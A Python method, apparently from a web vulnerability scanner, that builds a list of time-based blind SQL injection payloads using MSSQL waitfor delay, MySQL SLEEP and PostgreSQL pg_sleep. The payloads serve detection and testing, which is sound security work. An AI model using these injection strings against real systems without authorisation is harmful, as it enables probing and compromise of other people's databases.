':return: A list of statements that are going to be used to test for
blind SQL injections. The statements are objects.
IMPORTANT: Note that I need this function that generates
unique instances of the delay objects! Adding this to a list
that\'s defined at the class level will bring threading issues'

def _get_delays(self):

    res = []
    res.append(ExactDelay("1;waitfor    delay    '0:0:%s'--"))
    res.append(ExactDelay("1);waitfor    delay    '0:0:%s'--"))
    res.append(ExactDelay("1));waitfor    delay    '0:0:%s'--"))
    res.append(ExactDelay("1';waitfor    delay    '0:0:%s'--"))
    res.append(ExactDelay("1');waitfor    delay    '0:0:%s'--"))
    res.append(ExactDelay("1'));waitfor    delay    '0:0:%s'--"))
    res.append(ExactDelay('1    AND    (SELECT    *    FROM    (SELECT(SLEEP(%s)))foo)'))
    res.append(ExactDelay('1    OR    (SELECT    *    FROM    (SELECT(SLEEP(%s)))foo)'))
    res.append(ExactDelay("'+(SELECT    *    FROM    (SELECT(SLEEP(%s)))foo)+'"))
    res.append(ExactDelay('"+(SELECT    *    FROM    (SELECT(SLEEP(%s)))foo)+"'))
    res.append(ExactDelay("'    AND    (SELECT    *    FROM    (SELECT(SLEEP(%s)))foo)    AND    '1'='1"))
    res.append(ExactDelay('"    AND    (SELECT    *    FROM    (SELECT(SLEEP(%s)))foo)    AND    "1"="1'))
    res.append(ExactDelay("'    OR    (SELECT    *    FROM    (SELECT(SLEEP(%s)))foo)    OR    '1'='2"))
    res.append(ExactDelay('"    OR    (SELECT    *    FROM    (SELECT(SLEEP(%s)))foo)    OR    "1"="2'))
    res.append(ExactDelay('1    or    pg_sleep(%s)'))
    res.append(ExactDelay("1'    or    pg_sleep(%s)    and    '1'='1"))
    res.append(ExactDelay('1"    or    pg_sleep(%s)    and    "1"="1'))
    return res
